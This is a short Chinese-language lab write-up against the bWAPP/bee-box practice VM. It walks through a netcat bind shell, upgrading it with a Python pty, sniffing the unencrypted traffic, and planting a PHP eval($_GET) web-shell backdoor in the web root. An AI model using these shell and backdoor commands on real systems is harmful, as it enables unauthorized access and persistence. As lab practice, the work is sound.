用nc反弹shell真有意思哈哈

先在bee(192.168.170.130)上面

bee@bee-box:/tmp$ nc -vlp 4444 -e /bin/bash
listening on [any] 4444 ...
192.168.170.1: inverse host lookup failed: Unknown host
connect to [192.168.170.130] from (UNKNOWN) [192.168.170.1] 51226

然后在自己机器(192.168.170.1)上

➜  exploit/others master ✓ nc 192.168.170.130 4444                  [14:07:23]

这个时候在bee上，用netstat -plant应该可以已经看到TCP连接已经建立了。

tcp        0      0 192.168.170.130:4444    192.168.170.1:51434     ESTABLISHED

然后继续，暂时只是一个没有命令提示符的shell，可以用python来得到一个有交互式的shell。

id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
python -c "import pty; pty.spawn('/bin/bash')"
bee@bee-box:/tmp$

bee@bee-box:/tmp$ pwd
pwd
/tmp
bee@bee-box:/tmp$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:82:c4:aa
          inet addr:192.168.170.130  Bcast:192.168.170.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe82:c4aa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:27851 errors:24921 dropped:0 overruns:0 frame:0
          TX packets:21029 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3201942 (3.0 MB)  TX bytes:6392437 (6.0 MB)
          Interrupt:16 Base address:0x2024

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1006 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1006 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:77917 (76.0 KB)  TX bytes:77917 (76.0 KB)

bee@bee-box:/tmp$

bee@bee-box:/tmp$ echo "caiqiqi"
echo "caiqiqi"
caiqiqi

在这个nc反弹回来的shell里面，输入echo "caiqiqi"
然后用wireshark抓包，follow TCP stream。由于是nc，所以并不是ssh加密的，是没有加密的TCP流量
。得到这么几个包。

当在web页面上使用nc -vlp 4444 -e /bin/bash时，得到的是www-data用户的shell。
注意：如果你输入ifconfig，可能并没有回显，这可能是www-data用户的环境变量里没有/sbin的缘故，如果你有带命令提示符的shell的话，它会给你提示错误，否则可能什么响应都没有，你以为你已经断开shell了呢，其实没有。

www-data@bee-box:/var/www/bWAPP$ ifconfig
ifconfig
Command 'ifconfig' is available in '/sbin/ifconfig'
The command could not be located because '/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative priviledges associated with your user account.
bash: ifconfig: command not found
www-data@bee-box:/var/www/bWAPP$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin

最后记得留下后门。

www-data@bee-box:/var/www/bWAPP$ echo " eval($_GET['x']);?>" > x.php
echo " eval($_GET['x']);?>" > x.php

然而在我之后在正常的shell中却发现那个后门的内容并不是我之前输入的那样，

bee@bee-box:/var/www/bWAPP$ cat x.php
 eval(['x']);?>

页面也报错了